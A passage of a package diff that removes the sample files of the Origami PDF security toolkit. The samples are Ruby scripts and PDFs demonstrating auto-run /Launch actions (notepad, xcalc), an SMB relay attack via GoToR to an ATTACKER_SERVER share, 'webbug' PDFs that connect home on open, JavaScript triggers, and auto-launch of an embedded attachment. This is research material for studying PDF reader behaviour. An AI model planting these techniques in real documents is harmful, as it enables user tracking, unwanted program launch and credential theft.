xcalc is in /usr/bin/xcalc - - poppler: does not support PDF keyword /Launch - - Acrobat Reader 7: - 1. popup telling it can not open \"xcalc\" (dumb reasons) - 2. popup proposing to open \"xcalc\" (warning) - 3. starts \"xcalc\" - - Acrobat Reader 8.1.2: based on xdg-open - - if you are running KDE, Gnome or xfce, xcalc is started after a popup - - otherwise, your brower is started and tries to download \"xcalc\" - -Note: -For Linux and Mac, no argument can be given to the command... - -EOS - -contents.write content, - :x => 75, :y => 600, :rendering => Text::Rendering::FILL - -page = Page.new.setContents( contents ) -pdf.append_page( page ) - -pdf.save(OUTPUTFILE) -puts "PDF file saved as #{OUTPUTFILE}." - diff -Nru origami-1.2.7/samples/actions/launch/winparams.pdf origami-1.2.7+really0.7.4/samples/actions/launch/winparams.pdf --- origami-1.2.7/samples/actions/launch/winparams.pdf 2011-03-20 01:57:48.000000000 +0000 +++ origami-1.2.7+really0.7.4/samples/actions/launch/winparams.pdf 1970-01-01 00:00:00.000000000 +0000 @@ -1,53 +0,0 @@ -%PDF-1.1 -1 0 obj -<< - /OpenAction << - /Win << - /D (C:\\\\WINDOWS\\\\system32) - /P (test.txt) - /F (C:\\\\WINDOWS\\\\system32\\\\notepad.exe) - >> - /S /Launch - >> - /Pages 2 0 R - /Type /Catalog ->> -endobj -2 0 obj -<< - /Count 1 - /Kids [ 3 0 R ] - /Type /Pages ->> -endobj -3 0 obj -<< - /MediaBox [ 0 0 795 842 ] - /Parent 2 0 R - /Resources << - /Font << - /F1 << - /Name /F1 - /BaseFont /Helvetica - /Subtype /Type1 - /Type /Font - >> - >> - >> - /Type /Page ->> -endobj -xref -0 4 -0000000000 65535 f -0000000010 00000 n -0000000223 00000 n -0000000292 00000 n -trailer -<< - /Root 1 0 R - /Size 4 ->> -startxref -511 -%%EOF diff -Nru origami-1.2.7/samples/actions/launch/winparams.rb origami-1.2.7+really0.7.4/samples/actions/launch/winparams.rb --- origami-1.2.7/samples/actions/launch/winparams.rb 2011-10-12 15:46:36.000000000 +0000 +++ origami-1.2.7+really0.7.4/samples/actions/launch/winparams.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,22 +0,0 @@ -#!/usr/bin/ruby - -begin - require 'origami' -rescue LoadError - ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib" - $: << ORIGAMIDIR - require 'origami' -end -include Origami - -OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf" - -params = Action::Launch::WindowsLaunchParams.new -params.F = "C:\\\\WINDOWS\\\\system32\\\\notepad.exe" # application or document to launch -params.D = "C:\\\\WINDOWS\\\\system32" # new current directory -params.P = "test.txt" # parameter to pass if F is an application - -action = Action::Launch.new -action.Win = params - -PDF.new.onDocumentOpen( action ).save(OUTPUTFILE) diff -Nru origami-1.2.7/samples/actions/loop/loopgoto.rb origami-1.2.7+really0.7.4/samples/actions/loop/loopgoto.rb --- origami-1.2.7/samples/actions/loop/loopgoto.rb 2013-03-19 16:19:25.000000000 +0000 +++ origami-1.2.7+really0.7.4/samples/actions/loop/loopgoto.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,24 +0,0 @@ -#!/usr/bin/env ruby - -begin - require 'origami' -rescue LoadError - ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib" - $: << ORIGAMIDIR - require 'origami' -end -include Origami - -pdf = PDF.read("sample.pdf", :verbosity => Parser::VERBOSE_DEBUG ) - -index = 1 -pages = pdf.pages - -pages.each do |page| - page.onOpen Action::GoTo Destination::GlobalFit.new pages[index % pages.size] - - index = index + 1 -end - -pdf.save("loopgoto_sample.pdf") - Binary files /tmp/P47rXCMc2T/origami-1.2.7/samples/actions/loop/loopgoto_sample.pdf and /tmp/vM7QXlItzc/origami-1.2.7+really0.7.4/samples/actions/loop/loopgoto_sample.pdf differ diff -Nru origami-1.2.7/samples/actions/loop/loopnamed.rb origami-1.2.7+really0.7.4/samples/actions/loop/loopnamed.rb --- origami-1.2.7/samples/actions/loop/loopnamed.rb 2013-03-19 16:19:25.000000000 +0000 +++ origami-1.2.7+really0.7.4/samples/actions/loop/loopnamed.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,21 +0,0 @@ -#!/usr/bin/env ruby - -begin - require 'origami' -rescue LoadError - ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib" - $: << ORIGAMIDIR - require 'origami' -end -include Origami - -pdf = PDF.read("sample.pdf", :verbosity => Parser::VERBOSE_DEBUG ) - -pages = pdf.pages - -pages.each do |page| - page.onOpen Action::Named::NEXTPAGE unless page == pages.last -end -pages.last.onOpen Action::Named::FIRSTPAGE - -pdf.save("loopnamed_sample.pdf") Binary files /tmp/P47rXCMc2T/origami-1.2.7/samples/actions/loop/loopnamed_sample.pdf and /tmp/vM7QXlItzc/origami-1.2.7+really0.7.4/samples/actions/loop/loopnamed_sample.pdf differ Binary files /tmp/P47rXCMc2T/origami-1.2.7/samples/actions/loop/sample.pdf and /tmp/vM7QXlItzc/origami-1.2.7+really0.7.4/samples/actions/loop/sample.pdf differ diff -Nru origami-1.2.7/samples/actions/named/named.pdf origami-1.2.7+really0.7.4/samples/actions/named/named.pdf --- origami-1.2.7/samples/actions/named/named.pdf 2013-03-19 16:19:25.000000000 +0000 +++ origami-1.2.7+really0.7.4/samples/actions/named/named.pdf 1970-01-01 00:00:00.000000000 +0000 @@ -1,65 +0,0 @@ -%PDF-1.1 -1 0 obj -<< - /Pages 2 0 R - /OpenAction << - /N /Print - /S /Named - >> - /Type /Catalog ->> -endobj -2 0 obj -<< - /Count 1 - /Kids [ 3 0 R ] - /Type /Pages ->> -endobj -3 0 obj -<< - /Contents 4 0 R - /Parent 2 0 R - /Resources << - /Font << - /F1 << - /Type /Font - /Subtype /Type1 - /BaseFont /Helvetica - /Name /F1 - >> - >> - >> - /Type /Page - /MediaBox [ 0 0 795 842 ] ->> -endobj -4 0 obj -<< - /Length 53 ->>stream -BT -/F1 30 Tf -350 750 Td -20 TL -1 Tr -(named.pdf) Tj -ET - -endstream -endobj -xref -0 5 -0000000000 65535 f -0000000010 00000 n -0000000115 00000 n -0000000184 00000 n -0000000421 00000 n -trailer -<< - /Root 1 0 R - /Size 5 ->> -startxref -531 -%%EOF diff -Nru origami-1.2.7/samples/actions/named/named.rb origami-1.2.7+really0.7.4/samples/actions/named/named.rb --- origami-1.2.7/samples/actions/named/named.rb 2013-03-19 16:19:25.000000000 +0000 +++ origami-1.2.7+really0.7.4/samples/actions/named/named.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,31 +0,0 @@ -#!/usr/bin/ruby - -begin - require 'origami' -rescue LoadError - ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib" - $: << ORIGAMIDIR - require 'origami' -end -include Origami - -OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf" - -puts "Now generating a new PDF file from scratch!" - -pdf = PDF.new - -page = Page.new - -contents = ContentStream.new -contents.write OUTPUTFILE, - :x => 350, :y => 750, :rendering => Text::Rendering::STROKE, :size => 30 - -page.Contents = contents -pdf.append_page(page) - -pdf.onDocumentOpen Action::Named::PRINT - -pdf.save(OUTPUTFILE) - -puts "PDF file saved as #{OUTPUTFILE}." diff -Nru origami-1.2.7/samples/actions/samba/smbrelay.pdf origami-1.2.7+really0.7.4/samples/actions/samba/smbrelay.pdf --- origami-1.2.7/samples/actions/samba/smbrelay.pdf 2011-03-20 01:57:48.000000000 +0000 +++ origami-1.2.7+really0.7.4/samples/actions/samba/smbrelay.pdf 1970-01-01 00:00:00.000000000 +0000 @@ -1,60 +0,0 @@ -%PDF-1.2 -1 0 obj -<< - /Pages 2 0 R - /Type /Catalog ->> -endobj -2 0 obj -<< - /Kids [ 3 0 R ] - /Count 1 - /Type /Pages ->> -endobj -3 0 obj -<< - /Parent 2 0 R - /MediaBox [ 0 0 795 842 ] - /Resources << - /Font << - /F1 4 0 R - >> - >> - /Type /Page - /AA << - /O << - /S /GoToR - /NewWindow true - /F << - /F (\\\\localhost\\origami\\owned.pdf) - /Type /FileSpec - >> - /D [ 0 /Fit ] - >> - >> ->> -endobj -4 0 obj -<< - /Subtype /Type1 - /BaseFont /Helvetica - /Type /Font - /Name /F1 ->> -endobj -xref -0 5 -0000000000 65535 f -0000000010 00000 n -0000000067 00000 n -0000000136 00000 n -0000000435 00000 n -trailer -<< - /Root 1 0 R - /Size 5 ->> -startxref -527 -%%EOF diff -Nru origami-1.2.7/samples/actions/samba/smbrelay.rb origami-1.2.7+really0.7.4/samples/actions/samba/smbrelay.rb --- origami-1.2.7/samples/actions/samba/smbrelay.rb 2013-03-19 16:19:25.000000000 +0000 +++ origami-1.2.7+really0.7.4/samples/actions/samba/smbrelay.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,26 +0,0 @@ -#!/usr/bin/ruby - -begin - require 'origami' -rescue LoadError - ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib" - $: << ORIGAMIDIR - require 'origami' -end -include Origami - -# -# SMB relay attack. -# Uses a GoToR action to open a shared network directory. -# - -ATTACKER_SERVER = "localhost" - -pdf = PDF.read(ARGV[0]) - -dst = ExternalFile.new("\\\\#{ATTACKER_SERVER}\\origami\\owned.pdf") -gotor = Action::GoToR[dst, Destination::GlobalFit.new(0), true] -pdf.pages.first.onOpen(gotor) - -pdf.save("#{File.basename($0, '.rb')}.pdf") - diff -Nru origami-1.2.7/samples/actions/triggerevents/trigger.pdf origami-1.2.7+really0.7.4/samples/actions/triggerevents/trigger.pdf --- origami-1.2.7/samples/actions/triggerevents/trigger.pdf 2013-03-19 16:19:25.000000000 +0000 +++ origami-1.2.7+really0.7.4/samples/actions/triggerevents/trigger.pdf 1970-01-01 00:00:00.000000000 +0000 @@ -1,140 +0,0 @@ -%PDF-1.4 -1 0 obj -<< - /Pages 2 0 R - /OpenAction << - /JS (app.alert\('Document is opened'\);) - /S /JavaScript - >> - /AA << - /WC << - /JS (app.alert\('Document is closing'\);) - /S /JavaScript - >> - >> - /Names << - /JavaScript 5 0 R - >> - /Type /Catalog ->> -endobj -2 0 obj -<< - /Count 1 - /Kids [ 3 0 R ] - /Type /Pages ->> -endobj -3 0 obj -<< - /Contents 4 0 R - /AA << - /O << - /JS (app.alert\('Page Opened'\);) - /S /JavaScript - >> - /C << - /JS (app.alert\('Page Closed'\);) - /S /JavaScript - >> - >> - /Annots [ << - /Rect [ 350 700 415 640 ] - /AA << - /E << - /JS (app.alert\('Mouse over'\);) - /S /JavaScript - >> - /X << - /JS (app.alert\('Mouse left'\);) - /S /JavaScript - >> - /D << - /JS (app.alert\('Mouse down'\);) - /S /JavaScript - >> - /U << - /JS (app.alert\('Mouse up'\);) - /S /JavaScript - >> - /PO << - /JS (app.alert\('Parent page has opened'\);) - /S /JavaScript - >> - /PC << - /JS (app.alert\('Parent page has closed'\);) - /S /JavaScript - >> - /PV << - /JS (app.alert\('Parent page is visible'\);) - /S /JavaScript - >> - /PI << - /JS (app.alert\('Parent page is no more visible'\);) - /S /JavaScript - >> - >> - /P 3 0 R - /Subtype /Screen ->> << - /Rect [ 350 700 415 640 ] - /IC [ 255 255 0 ] - /P 3 0 R - /Subtype /Square ->> ] - /Parent 2 0 R - /Resources << - /Font << - /F1 << - /Type /Font - /Subtype /Type1 - /BaseFont /Helvetica - /Name /F1 - >> - >> - >> - /Type /Page - /MediaBox [ 0 0 795 842 ] ->> -endobj -4 0 obj -<< - /Length 77 ->>stream -BT -/F1 15 Tf -250 750 Td -20 TL -(Pass your mouse over the yellow square) Tj -ET - -endstream -endobj -5 0 obj -<< - /Names [ (test) 6 0 R ] ->> -endobj -6 0 obj -<< - /JS (app.alert\('Names directory script'\);) - /S /JavaScript ->> -endobj -xref -0 7 -0000000000 65535 f -0000000010 00000 n -0000000284 00000 n -0000000353 00000 n -0000001552 00000 n -0000001686 00000 n -0000001737 00000 n -trailer -<< - /Root 1 0 R - /Size 7 ->> -startxref -1826 -%%EOF diff -Nru origami-1.2.7/samples/actions/triggerevents/trigger.rb origami-1.2.7+really0.7.4/samples/actions/triggerevents/trigger.rb --- origami-1.2.7/samples/actions/triggerevents/trigger.rb 2013-03-19 16:19:25.000000000 +0000 +++ origami-1.2.7+really0.7.4/samples/actions/triggerevents/trigger.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,75 +0,0 @@ -#!/usr/bin/ruby - -begin - require 'origami' -rescue LoadError - ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib" - $: << ORIGAMIDIR - require 'origami' -end -include Origami - -OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf" - -puts "Now generating a new PDF file from scratch!" - -pdf = PDF.new - -page = Page.new - -contents = ContentStream.new -contents.write "Pass your mouse over the yellow square", - :x => 250, :y => 750, :size => 15 - -page.setContents( contents ) - -onpageopen = Action::JavaScript "app.alert('Page Opened');" -onpageclose = Action::JavaScript "app.alert('Page Closed');" -ondocumentopen = Action::JavaScript "app.alert('Document is opened');" -ondocumentclose = Action::JavaScript "app.alert('Document is closing');" -onmouseover = Action::JavaScript "app.alert('Mouse over');" -onmouseleft = Action::JavaScript "app.alert('Mouse left');" -onmousedown = Action::JavaScript "app.alert('Mouse down');" -onmouseup = Action::JavaScript "app.alert('Mouse up');" -onparentopen = Action::JavaScript "app.alert('Parent page has opened');" -onparentclose = Action::JavaScript "app.alert('Parent page has closed');" -onparentvisible = Action::JavaScript "app.alert('Parent page is visible');" -onparentinvisible = Action::JavaScript "app.alert('Parent page is no more visible');" -namedscript = Action::JavaScript "app.alert('Names directory script');" - -pdf.onDocumentOpen(ondocumentopen) -pdf.onDocumentClose(ondocumentclose) -page.onOpen(onpageopen).onClose(onpageclose) - -pdf.register(Names::Root::JAVASCRIPT, "test", namedscript) - -rect_coord = Rectangle[:llx => 350, :lly => 700, :urx => 415, :ury => 640] - -# Just draw a yellow rectangle. -rect = Annotation::Square.new -rect.Rect = rect_coord -rect.IC = [ 255, 255, 0 ] - -# Creates a new annotation which will catch mouse actions. -annot = Annotation::Screen.new -annot.Rect = rect_coord - -# Bind the scripts to numerous triggers. -annot.onMouseOver(onmouseover) -annot.onMouseOut(onmouseleft) -annot.onMouseDown(onmousedown) -annot.onMouseUp(onmouseup) -annot.onPageOpen(onparentopen) -annot.onPageClose(onparentclose) -annot.onPageVisible(onparentvisible) -annot.onPageInvisible(onparentinvisible) - -page.add_annot(annot) -page.add_annot(rect) - -pdf.append_page(page) - -# Save the resulting file. -pdf.save(OUTPUTFILE) - -puts "PDF file saved as #{OUTPUTFILE}." diff -Nru origami-1.2.7/samples/actions/webbug/submitform.js origami-1.2.7+really0.7.4/samples/actions/webbug/submitform.js --- origami-1.2.7/samples/actions/webbug/submitform.js 2011-03-20 01:57:48.000000000 +0000 +++ origami-1.2.7+really0.7.4/samples/actions/webbug/submitform.js 1970-01-01 00:00:00.000000000 +0000 @@ -1,26 +0,0 @@ -try -{ - - app.alert("First, I try to launch your browser :)"); - app.launchURL("http://localhost/webbug-browser.html"); - -} -catch(e) -{ -} - -try -{ - app.alert("Now I try to connect to the website, through your Reader"); - - this.submitForm( - { - cURL: "http://localhost/webbug-reader.php", - bAnnotations: true, - bGet: true, - cSubmitAs: "XML" - }); -} -catch(e) -{ -} diff -Nru origami-1.2.7/samples/actions/webbug/webbug-browser.pdf origami-1.2.7+really0.7.4/samples/actions/webbug/webbug-browser.pdf --- origami-1.2.7/samples/actions/webbug/webbug-browser.pdf 2013-03-19 16:19:25.000000000 +0000 +++ origami-1.2.7+really0.7.4/samples/actions/webbug/webbug-browser.pdf 1970-01-01 00:00:00.000000000 +0000 @@ -1,108 +0,0 @@ -%PDF-1.1 -1 0 obj -<< - /Pages 2 0 R - /OpenAction << - /URI (http://localhost/webbug-browser.html) - /IsMap false - /S /URI - >> - /Type /Catalog ->> -endobj -2 0 obj -<< - /Count 1 - /Kids [ 3 0 R ] - /Type /Pages ->> -endobj -3 0 obj -<< - /Contents 4 0 R - /Parent 2 0 R - /Resources << - /Font << - /F1 << - /Type /Font - /Subtype /Type1 - /BaseFont /Helvetica - /Name /F1 - >> - >> - >> - /Type /Page - /MediaBox [ 0 0 795 842 ] ->> -endobj -4 0 obj -<< - /Length 861 ->>stream -BT -/F1 30 Tf -270 750 Td -20 TL -1 Tr -(webbug-browser.pdf) Tj -ET -BT -/F1 15 Tf -156 690 Td -0 Tr -(When opened, this PDF connects to "home") Tj -ET -BT -/F1 12 Tf -156 670 Td -(Click "Allow":) Tj -ET -BT -156 650 Td -( 1. Starts your default browser) Tj -ET -BT -156 630 Td -( 1. Connects to http://localhost/webbug-browser.html) Tj -ET -BT -/F1 14 Tf -75 580 Td -2 Tr -(Comments:) Tj -ET -BT -/F1 12 Tf -75 560 Td -0 Tr -(Windows:) Tj -( - Foxit : opens the default browser without any user confirmation \(!\)) ' -( - Acrobat Reader 8: a pop-up spreads asking if it can connect, then Internet Explorer is connected.) ' -() ' -() ' -(Mac:) ' -( - Preview: nothing happens) ' -( - Acrobat Reader 8: a pop-up spreads asking if it can connect, then Safari is connected) ' -() ' -(Linux:) ' -( - poppler: nothing happens) ' -( - Acrobat Reader [7, 8]: a pop-up spreads asking if it can connect) ' -ET - -endstream -endobj -xref -0 5 -0000000000 65535 f -0000000010 00000 n -0000000163 00000 n -0000000232 00000 n -0000000469 00000 n -trailer -<< - /Root 1 0 R - /Size 5 ->> -startxref -1388 -%%EOF diff -Nru origami-1.2.7/samples/actions/webbug/webbug-browser.rb origami-1.2.7+really0.7.4/samples/actions/webbug/webbug-browser.rb --- origami-1.2.7/samples/actions/webbug/webbug-browser.rb 2013-03-19 16:19:25.000000000 +0000 +++ origami-1.2.7+really0.7.4/samples/actions/webbug/webbug-browser.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,68 +0,0 @@ -#!/usr/bin/ruby - -begin - require 'origami' -rescue LoadError - ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib" - $: << ORIGAMIDIR - require 'origami' -end -include Origami - -OUTPUTFILE = "webbug-browser.pdf" - -puts "Now generating a new bugged PDF file from scratch!" - -URL = "http://localhost/webbug-browser.html" - -pdf = PDF.new - -contents = ContentStream.new -contents.write "webbug-browser.pdf", - :x => 270, :y => 750, :rendering => Text::Rendering::STROKE, :size => 30 - -contents.write "When opened, this PDF connects to \"home\"", - :x => 156, :y => 690, :rendering => Text::Rendering::FILL, :size => 15 - -contents.write "Click \"Allow\":", - :x => 156, :y => 670, :size => 12 - -contents.write " 1. Starts your default browser", - :x => 156, :y => 650, :size => 12 - -contents.write " 1. Connects to #{URL}", - :x => 156, :y => 630, :size => 12 - -contents.write "Comments:", - :x => 75, :y => 580, :rendering => Text::Rendering::FILL_AND_STROKE, :size => 14 - -content = <<-EOS -Windows: - - Foxit : opens the default browser without any user confirmation (!) - - Acrobat Reader 8: a pop-up spreads asking if it can connect, then Internet Explorer is connected. - - -Mac: - - Preview: nothing happens - - Acrobat Reader 8: a pop-up spreads asking if it can connect, then Safari is connected - -Linux: - - poppler: nothing happens - - Acrobat Reader [7, 8]: a pop-up spreads asking if it can connect - - -EOS - -contents.write content, - :x => 75, :y => 560, :rendering => Text::Rendering::FILL - - -page = Page.new.setContents( contents ) -pdf.append_page(page) - -# Starting action -pdf.onDocumentOpen Action::URI[URL] - -pdf.save(OUTPUTFILE) - -puts "PDF file saved as #{OUTPUTFILE}." Binary files /tmp/P47rXCMc2T/origami-1.2.7/samples/actions/webbug/webbug-js.pdf and /tmp/vM7QXlItzc/origami-1.2.7+really0.7.4/samples/actions/webbug/webbug-js.pdf differ diff -Nru origami-1.2.7/samples/actions/webbug/webbug-js.rb origami-1.2.7+really0.7.4/samples/actions/webbug/webbug-js.rb --- origami-1.2.7/samples/actions/webbug/webbug-js.rb 2013-03-19 16:19:25.000000000 +0000 +++ origami-1.2.7+really0.7.4/samples/actions/webbug/webbug-js.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,67 +0,0 @@ -#!/usr/bin/ruby - -begin - require 'origami' -rescue LoadError - ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib" - $: << ORIGAMIDIR - require 'origami' -end -include Origami - -OUTPUTFILE = "webbug-js.pdf" -JSCRIPTFILE = "submitform.js" - -puts "Now generating a new PDF file from scratch!" - -contents = ContentStream.new.setFilter(:FlateDecode) -contents.write OUTPUTFILE, - :x => 300, :y => 750, :rendering => Text::Rendering::STROKE, :size => 30 - -contents.write "This PDF tries to connect through JavaScript calls :-D", - :x => 186, :y => 690, :rendering => Text::Rendering::FILL, :size => 15 - -contents.write "The script first tries to run your browser, then it connects with the Reader.", - :x => 186, :y => 670, :size => 15 - -contents.write "Comments:", - :x => 75, :y => 620, :rendering => Text::Rendering::FILL_AND_STROKE, :size => 14 - -content = <<-EOS -Windows: - - Acrobat Reader 8: Same behavior as with webbug-browser.pdf and webbug-reader.pdf. - - Foxit: Same behavior as with webbug-browser.pdf and webbug-reader.pdf, at the difference a popup appears - to ask for user confirmation before launching the browser. However the reader still connects to the site without - confirmation, as with webbug-reader.pdf - -Mac: - -Linux: - - Acrobat Reader 8: same behavior as Windows version. - - poppler-based viewers: not interpreting JavaScript : nothing happens. - -EOS - -contents.write content, - :x => 75, :y => 600, :rendering => Text::Rendering::FILL - -# A JS script to execute at the opening of the document -jscript = File.open(JSCRIPTFILE).read - -pdf = PDF.new - -page = Page.new -page.Contents = contents - -pdf.append_page(page) - -# Create a new action based on the script, compressed with zlib -jsaction = Action::JavaScript Stream.new(jscript,:Filter => :FlateDecode) - -# Add the script into the document names dictionary. Any scripts registered here will be executed at the document opening (with no OpenAction implied). -pdf.register(Names::Root::JAVASCRIPT, "Update", jsaction) - -# Save the resulting file -pdf.save(OUTPUTFILE) - -puts "PDF file saved as #{OUTPUTFILE}." diff -Nru origami-1.2.7/samples/actions/webbug/webbug-reader.pdf origami-1.2.7+really0.7.4/samples/actions/webbug/webbug-reader.pdf --- origami-1.2.7/samples/actions/webbug/webbug-reader.pdf 2013-03-19 16:19:25.000000000 +0000 +++ origami-1.2.7+really0.7.4/samples/actions/webbug/webbug-reader.pdf 1970-01-01 00:00:00.000000000 +0000 @@ -1,123 +0,0 @@ -%PDF-1.1 -1 0 obj -<< - /Pages 2 0 R - /OpenAction << - /F << - /FS /URL - /F (http://localhost/webbug-reader.php) - >> - /Fields [ ] - /Flags 12 - /S /SubmitForm - >> - /Type /Catalog ->> -endobj -2 0 obj -<< - /Count 1 - /Kids [ 3 0 R ] - /Type /Pages ->> -endobj -3 0 obj -<< - /Contents 4 0 R - /Parent 2 0 R - /Resources << - /Font << - /F1 << - /Type /Font - /Subtype /Type1 - /BaseFont /Helvetica - /Name /F1 - >> - >> - >> - /Type /Page - /MediaBox [ 0 0 795 842 ] ->> -endobj -4 0 obj -<< - /Length 1701 ->>stream -BT -/F1 30 Tf -270 750 Td -20 TL -1 Tr -(webbug-reader.pdf) Tj -ET -BT -/F1 15 Tf -156 690 Td -0 Tr -(When opened, this PDF connects to "home") Tj -ET -BT -/F1 12 Tf -156 670 Td -(Click "Allow" to connect to http://localhost/webbug-reader.php through your current Reader.) Tj -ET -BT -/F1 14 Tf -75 600 Td -2 Tr -(Comments:) Tj -ET -BT -/F1 12 Tf -75 580 Td -0 Tr -(1. Open this pdf document \(webbug-reader.pdf\)) Tj -(2. The Reader connects to ${url}) ' -(3. The web server returns the requested page:) ' -( ) ' -(4. The Reader receives "calc.pdf" which is immediatly rendered) ' -(5. A pop-up ask if it can execute the calc...) ' -() ' -(Note: The URL where the Reader tries to connect is displayed) ' -() ' -() ' -() ' -(Windows:) ' -( - Foxit : Nothing happens.) ' -( - Acrobat Reader 8: a popup appears for the user to allow the connection,) ' -( then the connection is made and a new window is opened with the 2nd document) ' -() ' -(Mac:) ' -( - Preview: nothing happens) ' -( - Acrobat Reader 8: a popup appears for the user to allow the connection,) ' -( then the connection is made and a new window is opened with the 2nd document) ' -() ' -(Linux:) ' -( - poppler: /SubmitForm is not supported) ' -( - Acrobat Reader 8: a popup appears for the user to allow the connection,) ' -( then the connection is made and a the document window is replaced with the 2nd document) ' -( Note: The 2 documents can be seen in the"Window" menu.) ' -( - Acrobat Reader 8: a popup appears for the user to allow the connection,) ' -( then the connection is made and a new window is opened with the 2nd document) ' -ET - -endstream -endobj -xref -0 5 -0000000000 65535 f -0000000010 00000 n -0000000207 00000 n -0000000276 00000 n -0000000513 00000 n -trailer -<< - /Root 1 0 R - /Size 5 ->> -startxref -2273 -%%EOF diff -Nru origami-1.2.7/samples/actions/webbug/webbug-reader.rb origami-1.2.7+really0.7.4/samples/actions/webbug/webbug-reader.rb --- origami-1.2.7/samples/actions/webbug/webbug-reader.rb 2013-03-19 16:19:25.000000000 +0000 +++ origami-1.2.7+really0.7.4/samples/actions/webbug/webbug-reader.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,90 +0,0 @@ -#!/usr/bin/ruby - -begin - require 'origami' -rescue LoadError - ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib" - $: << ORIGAMIDIR - require 'origami' -end -include Origami - -OUTPUTFILE = "webbug-reader.pdf" - -URL = "http://localhost/webbug-reader.php" - -puts "Now generating a new bugged PDF file from scratch!" - -pdf = PDF.new - -contents = ContentStream.new -contents.write "webbug-reader.pdf", - :x => 270, :y => 750, :rendering => Text::Rendering::STROKE, :size => 30 - -contents.write "When opened, this PDF connects to \"home\"", - :x => 156, :y => 690, :rendering => Text::Rendering::FILL, :size => 15 - -contents.write "Click \"Allow\" to connect to #{URL} through your current Reader.", - :x => 156, :y => 670, :size => 12 - - -contents.write "Comments:", - :x => 75, :y => 600, :rendering => Text::Rendering::FILL_AND_STROKE, :size => 14 - - -content = <<-EOS -1. Open this pdf document (webbug-reader.pdf) -2. The Reader connects to ${url} -3. The web server returns the requested page: - -4. The Reader receives \"calc.pdf\" which is immediatly rendered -5. A pop-up ask if it can execute the calc... - -Note: The URL where the Reader tries to connect is displayed - - - -Windows: - - Foxit : Nothing happens. - - Acrobat Reader 8: a popup appears for the user to allow the connection, - then the connection is made and a new window is opened with the 2nd document - -Mac: - - Preview: nothing happens - - Acrobat Reader 8: a popup appears for the user to allow the connection, - then the connection is made and a new window is opened with the 2nd document - -Linux: - - poppler: /SubmitForm is not supported - - Acrobat Reader 8: a popup appears for the user to allow the connection, - then the connection is made and a the document window is replaced with the 2nd document - Note: The 2 documents can be seen in the\"Window\" menu. - - Acrobat Reader 8: a popup appears for the user to allow the connection, - then the connection is made and a new window is opened with the 2nd document - - -EOS - -contents.write content, - :x => 75, :y => 580, :rendering => Text::Rendering::FILL, :size => 12 - -page = Page.new.setContents( contents ) -pdf.append_page( page ) - -# Submit flags. -flags = Action::SubmitForm::Flags::EXPORTFORMAT|Action::SubmitForm::Flags::GETMETHOD - -# Sends the form at the document opening. -pdf.onDocumentOpen Action::SubmitForm[URL, [], flags] - -# Comments: -# - any port can be specified http://url:1234 -# - does not follow the Redirect answers - -# Save the resulting file. -pdf.save(OUTPUTFILE) - -puts "PDF file saved as #{OUTPUTFILE}." diff -Nru origami-1.2.7/samples/attachments/attached.txt origami-1.2.7+really0.7.4/samples/attachments/attached.txt --- origami-1.2.7/samples/attachments/attached.txt 2011-04-25 18:38:07.000000000 +0000 +++ origami-1.2.7+really0.7.4/samples/attachments/attached.txt 1970-01-01 00:00:00.000000000 +0000 @@ -1 +0,0 @@ -***THIS IS THE EMBEDDED FILE*** diff -Nru origami-1.2.7/samples/attachments/attach.pdf origami-1.2.7+really0.7.4/samples/attachments/attach.pdf --- origami-1.2.7/samples/attachments/attach.pdf 2011-04-25 18:38:07.000000000 +0000 +++ origami-1.2.7+really0.7.4/samples/attachments/attach.pdf 1970-01-01 00:00:00.000000000 +0000 @@ -1,92 +0,0 @@ -%PDF-1.4 -1 0 obj -<< - /Pages 2 0 R - /Names << - /EmbeddedFiles 5 0 R - >> - /OpenAction << - /JS ( this.exportDataObject\({cName:"README.txt", nLaunch:2}\);\n) - /S /JavaScript - >> - /Type /Catalog ->> -endobj -2 0 obj -<< - /Count 1 - /Kids [ 3 0 R ] - /Type /Pages ->> -endobj -3 0 obj -<< - /Contents 4 0 R - /Parent 2 0 R - /Resources << - /Font << - /F1 << - /Type /Font - /Subtype /Type1 - /BaseFont /Helvetica - /Name /F1 - >> - >> - >> - /Type /Page - /MediaBox [ 0 0 795 842 ] ->> -endobj -4 0 obj -<< - /Length 61 ->>stream -BT -/F1 30 Tf -250 750 Td -20 TL -(File attachment sample) Tj -ET - -endstream -endobj -5 0 obj -<< - /Names [ (README.txt) 6 0 R ] ->> -endobj -6 0 obj -<< - /Type /Filespec - /F (README.txt) - /EF << - /F 7 0 R - >> ->> -endobj -7 0 obj -<< - /Filter /ASCIIHexDecode - /Length 65 ->>stream -2A2A2A544849532049532054484520454D4245444445442046494C452A2A2A0A> -endstream -endobj -xref -0 8 -0000000000 65535 f -0000000010 00000 n -0000000219 00000 n -0000000288 00000 n -0000000525 00000 n -0000000643 00000 n -0000000700 00000 n -0000000787 00000 n -trailer -<< - /Root 1 0 R - /Size 8 ->> -startxref -935 -%%EOF diff -Nru origami-1.2.7/samples/attachments/attach.rb origami-1.2.7+really0.7.4/samples/attachments/attach.rb --- origami-1.2.7/samples/attachments/attach.rb 2013-03-19 16:19:25.000000000 +0000 +++ origami-1.2.7+really0.7.4/samples/attachments/attach.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,40 +0,0 @@ -#!/usr/bin/env ruby - -begin - require 'origami' -rescue LoadError - ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib" - $: << ORIGAMIDIR - require 'origami' -end -include Origami - -INPUTFILE = "attached.txt" -OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf" - -puts 